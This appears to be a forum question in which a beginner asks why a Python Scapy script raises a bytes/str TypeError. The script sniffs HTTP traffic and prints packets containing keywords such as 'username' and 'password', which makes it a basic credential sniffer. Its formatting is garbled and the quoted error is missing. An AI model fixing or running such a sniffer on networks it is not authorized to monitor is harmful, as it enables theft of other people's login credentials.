TypeError: a bytes-like object is required, not 'str' in Python script for Sniffing using Scapy - scapy

Question

`from scapy.all import *
from scapy.layers import http
def mysniff(interface):
sniff(iface=interface,store=False,prn=sniffed_packets)
def sniffed_packets(packet):
if packet.haslayer(http.HTTPRequest):
print(packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path)
if packet.haslayer(Raw):
load = packet[Raw].load
keys = ["username", "password", "pass", "email"]
for key in keys:
if key in load:
print(`load.encode`())
break
my sniff("Intel(R) 82574L Gigabit Network Connection")`
Want it to Print the Keys from the load that match the keywords as described above in the code. Although its executing the code and printing as expected but when I do an http login it displays the below error instead of printing the 'username' and 'password'.
Pls guide me as I am new to Python and Scapy.
Getting below error :
